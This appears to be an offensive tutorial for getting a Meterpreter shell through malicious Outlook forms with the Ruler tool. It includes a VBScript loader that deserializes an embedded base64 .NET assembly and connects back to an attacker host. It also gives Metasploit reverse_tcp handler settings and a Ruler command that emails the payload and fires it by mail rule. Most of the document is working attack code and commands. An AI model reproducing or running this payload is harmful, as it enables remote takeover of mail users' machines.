Using VBSMeter with Ruler

Command.vbs

Call X()
End Function

Dim RHOST: RHOST = "x.x.x.x"
Dim RPORT: RPORT = "8999"

Function Base64ToStream(b)
  Dim enc, length, ba, transform, ms
  Set enc = CreateObject("System.Text.ASCIIEncoding")
  length = enc.GetByteCount_2(b)
  Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
  Set ms = CreateObject("System.IO.MemoryStream")
  ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)
  ms.Position = 0
  Set Base64ToStream = ms
End Function

Sub Pew
Dim s, entry_class
s = Trim(Item.Body)

entry_class = "MeterPreter"

Dim fmt, al, d, o
Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
Set al = CreateObject("System.Collections.ArrayList")
al.Add fmt.SurrogateSelector

Set d = fmt.Deserialize_2(Base64ToStream(s))
Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)
o.MSFConnect RHOST, RPORT
End Sub

Function X()
Pew

Payload.b64

AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkDAAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAHdGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAACQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0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Steps.md

This requires Ruler

The original payload, VBSMeter was created by @Cn33liz and can be found here: VBSMeter. The version here is slightly slimmed down and modified so that it fits into the maximum payload size for Ruler forms.

The "payload" has been split into a seperate file, this allows us to send it as the message body of an email, and have the form invoke it dynamically.

Setup MSF

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST 0.0.0.0
set LPORT 443
set AutoRunScript post/windows/manage/migrate NAME=notepad.exe
set EnableUnicodeEncoding true
set EnableStageEncoding true
set ExitOnSession false
set EXITFUNC thread
exploit -j

Remember to set EXITFUNC, if you leave it as process Outlook will crash/exit.

Shell through Ruler

1. Create Command.vbs and Payload.b64.
2. cat /tmp/Payload.b64|xargs -0 -I{} ./ruler-linux64 --email koos@msf.com --password "ThePassword" form add --suffix metpew --input /tmp/Command.vbs --send --body "{}" --rule
3. You should receive a shell

You'll note that command.vbs has a bit of a weird syntax.

Call X()
End Function

^ this closes the Function P(), which exists in the defualt forms template.

Function X()
Pew

^ this calls our sub to spawn the shell. There is NO End Function needed as the default forms template inserts this automatically.